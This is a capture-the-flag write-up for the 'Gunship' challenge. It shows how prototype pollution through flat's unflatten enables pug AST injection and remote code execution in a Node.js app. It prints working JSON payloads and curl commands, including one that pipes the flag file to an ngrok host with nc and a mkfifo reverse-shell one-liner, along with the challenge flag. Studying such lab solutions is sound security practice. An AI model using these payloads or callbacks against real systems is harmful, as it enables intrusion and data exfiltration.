Gunship
4 minutes to read
We have a website with a nice style:
There is only one user input:
This is a Node.js application that uses pug
as a template renderer (as shown in the available files from the challenge).
It also uses flat
to parse JSON data, as shown in the following file called routes/index.js
:
const path = require('path')
const express = require('express')
const pug = require('pug')
const { unflatten } = require('flat')
const router = express.Router()
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'))
})
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body)
if (
artist.name.includes('Haigh') ||
artist.name.includes('Westaway') ||
artist.name.includes('Gingell')
) {
return res.json({
response: pug.compile(
'span Hello #{user}, thank you for letting us know!'
)({ user: 'guest' })
})
}
return res.json({
response: 'Please provide us with the full name of an existing member.'
})
})
module.exports = router
There is a well-known vulnerability of unflatten
from the flat
module. It is a Prototype Pollution vulnerability, which basically allows to define global variables.
This vulnerability combined with a template renderer such as pug
(or handlebars
) can lead to Remote Code Execution (RCE) because of a debugging feature. All of this is clearly explained in https://blog.p6.is/AST-Injection/#Pug.
We can test that Prototype Pollution works just by running the challenge in a Docker container and putting a simple console.log(x)
after the unflatten
statement.
Now, if we provide the following JSON payload the console.log(x)
will result in a true
message in the server log (now x
is a global variable):
{
"__proto__.x": true
}
Then we can test some payloads with pug
, according to the blogpost mentioned before. With the following payload, we can put some text after a template block (for example #{user}
on the JavaScript file shown above):
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"val": "RandomText"
}
}
$ curl 157.245.43.98:31191/api/submit -H 'Content-Type: application/json' -d '{"artist.name":"Haigh","__proto__.block":{"type":"Text","val":"RandomText"}}'
{"response":"<span>Hello guestRandomText, thank you for letting us know!</span>"}
We see that guest
is followed by RandomText
so we are able to use Prototype Pollution to perform AST Injection and modify the behavior of pug
.
Notice that we used Haigh
as artist.name
because we need that artist.name.includes('Haigh')
returns true
to make pug
render the message.
There is a way to gain RCE by using line
instead of val
. However, it will not be printed in the response from the server. The straight-forward thing to get the flag is trying to use a reverse TCP shell. However, this is a little overkill because we only need the flag (although the filename is randomized, we can use wildcards).
As this is a public instance, we need to have a public IP address to receive the connection. That is where ngrok
comes into place.
We can simply start a nc
listener in port 4444, for example. And then start ngrok
:
$ ngrok tcp 4444
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 2.3.40
Region United States (us)
Latency 120.893ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:14109 -> localhost:4444
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 0.00 0.00
As a result, we have created a tunnel from our private socket to the public one hosted by ngrok
.
This will be the payload to retrieve the flag (using a wildcard):
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require(\"child_process\").execSync(\"cat /app/flag* | nc 0.tcp.ngrok.io 14109\")"
}
}
$ curl 157.245.43.98:31191/api/submit -H 'Content-Type: application/json' -d '{"artist.name":"Haigh","__proto__.block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"cat /app/flag* | nc 0.tcp.ngrok.io 14109\")"}}'
{"response":"<span>Hello guestRandomText, thank you for letting us know!</span>"}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59447.
HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}
It is also possible to get a reverse shell. The payload is this one:
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require(\"child_process\").execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ngrok.io 14109 >/tmp/f\")"
}
}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59469.
/bin/sh: can't access tty; job control turned off
/app $ whoami
nobody
/app $ ls
flagYFOSp
index.js
node_modules
package.json
routes
static
views
yarn.lock
/app $ cat flagYFOSp
HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}